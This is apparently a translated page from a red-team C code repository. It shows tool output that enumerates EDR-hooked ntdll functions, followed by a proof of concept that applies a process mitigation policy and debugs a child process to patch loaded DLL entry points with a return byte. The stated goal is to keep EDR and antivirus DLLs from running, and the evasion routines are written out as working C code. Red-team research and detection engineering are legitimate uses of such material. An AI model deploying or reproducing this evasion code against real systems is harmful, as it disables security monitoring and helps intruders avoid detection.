mr-un1k0d3r/redteamccode레드팀 C 코드 저장소
Red Team C 코드 저장소
getsyscall.exe ntdll.dll NtProtectVirtualMemory
ntdll.dll!NtProtectVirtualMemory at 0x00007FFDE568D010
NtProtectVirtualMemory syscall ID 0x00000050 (80)
C:\Users\dev\Desktop>hook_finder_64.exe C:\Windows\System32\ntdll.dll
Loading C:\Windows\System32\ntdll.dll
------------------------------------------
BASE 0x00007FFAE0030000 MZÉ
PE 0x00007FFAE00300E8 PE
ExportTableOffset 0x00007FFAE01812A0
OffsetNameTable 0x00007FFAE01838C0
Function Counts 0x97e (2430)
------------------------------------------
NtAllocateVirtualMemory is hooked
NtAllocateVirtualMemoryEx is hooked
NtDeviceIoControlFile is hooked
NtGetContextThread is hooked
NtMapViewOfSection is hooked
NtMapViewOfSectionEx is hooked
NtProtectVirtualMemory is hooked
NtQueryInformationThread is hooked
NtQueueApcThread is hooked
NtQueueApcThreadEx is hooked
NtReadVirtualMemory is hooked
NtResumeThread is hooked
NtSetContextThread is hooked
NtSetInformationProcess is hooked
NtSetInformationThread is hooked
NtSuspendThread is hooked
NtUnmapViewOfSection is hooked
NtUnmapViewOfSectionEx is hooked
NtWriteVirtualMemory is hooked
ZwAllocateVirtualMemory is hooked
ZwAllocateVirtualMemoryEx is hooked
ZwDeviceIoControlFile is hooked
ZwGetContextThread is hooked
ZwMapViewOfSection is hooked
ZwMapViewOfSectionEx is hooked
ZwProtectVirtualMemory is hooked
ZwQueryInformationThread is hooked
ZwQueueApcThread is hooked
ZwQueueApcThreadEx is hooked
ZwReadVirtualMemory is hooked
ZwResumeThread is hooked
ZwSetContextThread is hooked
ZwSetInformationProcess is hooked
ZwSetInformationThread is hooked
ZwSuspendThread is hooked
ZwUnmapViewOfSection is hooked
ZwUnmapViewOfSectionEx is hooked
ZwWriteVirtualMemory is hooked
------------------------------------------
Completed
C:\Users\dev\Desktop>sentinel_hook_finder_64.exe C:\windows\system32\ntdll.dll
Loading C:\windows\system32\ntdll.dll
------------------------------------------
BASE 0x00007FF8EDA30000 MZÉ
PE 0x00007FF8EDA300E8 PE
ExportTableOffset 0x00007FF8EDB812A0
OffsetNameTable 0x00007FF8EDB838C0
Functions Count 0x97e (2430)
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KiUserApcDispatcher is hooked
LdrLoadDll is hooked
NtAllocateVirtualMemory is hooked
NtCreateThreadEx is hooked
NtCreateUserProcess is hooked
NtFreeVirtualMemory is hooked
NtLoadDriver is hooked
NtMapUserPhysicalPages is hooked
NtMapViewOfSection is hooked
NtOpenProcess is hooked
NtProtectVirtualMemory is hooked
NtQuerySystemInformation is hooked
NtQuerySystemInformationEx is hooked
NtQueueApcThread is hooked
NtQueueApcThreadEx is hooked
NtReadVirtualMemory is hooked
NtResumeThread is hooked
NtSetContextThread is hooked
NtSetInformationProcess is hooked
NtSetInformationThread is hooked
NtTerminateProcess is hooked
NtUnmapViewOfSection is hooked
NtWriteVirtualMemory is hooked
RtlAddVectoredExceptionHandler is hooked
RtlGetNativeSystemInformation is hooked
ZwAllocateVirtualMemory is hooked
ZwCreateThreadEx is hooked
ZwCreateUserProcess is hooked
ZwFreeVirtualMemory is hooked
ZwLoadDriver is hooked
ZwMapUserPhysicalPages is hooked
ZwMapViewOfSection is hooked
ZwOpenProcess is hooked
ZwProtectVirtualMemory is hooked
ZwQuerySystemInformation is hooked
ZwQuerySystemInformationEx is hooked
ZwQueueApcThread is hooked
ZwQueueApcThreadEx is hooked
ZwReadVirtualMemory is hooked
ZwResumeThread is hooked
ZwSetContextThread is hooked
ZwSetInformationProcess is hooked
ZwSetInformationThread is hooked
ZwTerminateProcess is hooked
ZwUnmapViewOfSection is hooked
ZwWriteVirtualMemory is hooked
------------------------------------------
Completed
PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON 트릭에 대한 개념 증명(PoC)입니다. 이 정책을 적용한 후 자신을 다시 실행하면, 다시 생성된 프로세스에 정책이 적용되어 PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON이 설정된 상태에서 "악성" 코드를 실행할 수 있습니다.
PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON 정책을 적용하고, 자식 프로세스(자기 자신)를 디버깅하며 Windows 디버거 API를 사용하여 로드되는 DLL을 모니터링하는 개념 증명(PoC)입니다. DLL의 경로를 기반으로 감지하고 패치합니다. EDR 및 AV DLL이 프로세스에 로드되어 정상적으로 실행되는 것을 방지하는 것이 목적입니다. 이는 PoC이며, 블랙리스트 DLL은 user32.dll로 설정되어 있습니다.
이벤트는 LOAD_DLL_DEBUG_EVENT 이벤트를 사용하여 모니터링됩니다.
DLL 위치는 event.u.UnloadDll.lpBaseOfDll을 사용하여 검색됩니다.
코드는 다음 함수를 사용하여 패치됩니다:
VOID *GetEntryPointOffset(CHAR *start, DWORD dwSize, HANDLE hProc) {
CHAR* mem = GlobalAlloc(GPTR, dwSize);
DWORD dwBytesRead = 0;
ReadProcessMemory(hProc, start, mem, dwSize, &dwBytesRead);
DWORD dwBaseDLLInitializeOffset = *((DWORD*)mem + (0x120 / 4));
#ifdef DEBUG
printf("dwBaseDLLInitializeOffset offset 0x%x\n", dwBaseDLLInitializeOffset);
#endif
VOID *dwBaseDLLInitialize = (VOID*)start + dwBaseDLLInitializeOffset;
#ifdef DEBUG
printf("dwBaseDLLInitialize offset 0x%p\n", dwBaseDLLInitialize);
#endif
GlobalFree(mem);
return dwBaseDLLInitialize;
}
VOID ModifyMem(CHAR *start, DWORD dwSize, HANDLE hProc) {
#ifdef DEBUG
printf("Cleaning HANDLE 0x%p 0x%p length: %d\n", hProc, start, dwSize);
#endif
VOID* EntryPoint = GetEntryPointOffset(start, dwSize, hProc);
DWORD dwOut = 0;
DWORD dwOld = 0;
#ifdef DEBUG
printf("EntryPoint at 0x%p\n", EntryPoint);
#endif
VirtualProtectEx(hProc, EntryPoint, 1, PAGE_READWRITE, &dwOld);
WriteProcessMemory(hProc, EntryPoint, "\xc3", 1, &dwOut);
#ifdef DEBUG
printf("Size of bytes written: %d\n", dwOut);
#endif
}
코드를 컴파일하기 전에 DEBUG를 FALSE로 설정하여 상세 메시지를 제거할 수 있습니다.
Mr.Un1k0d3r RingZer0 Team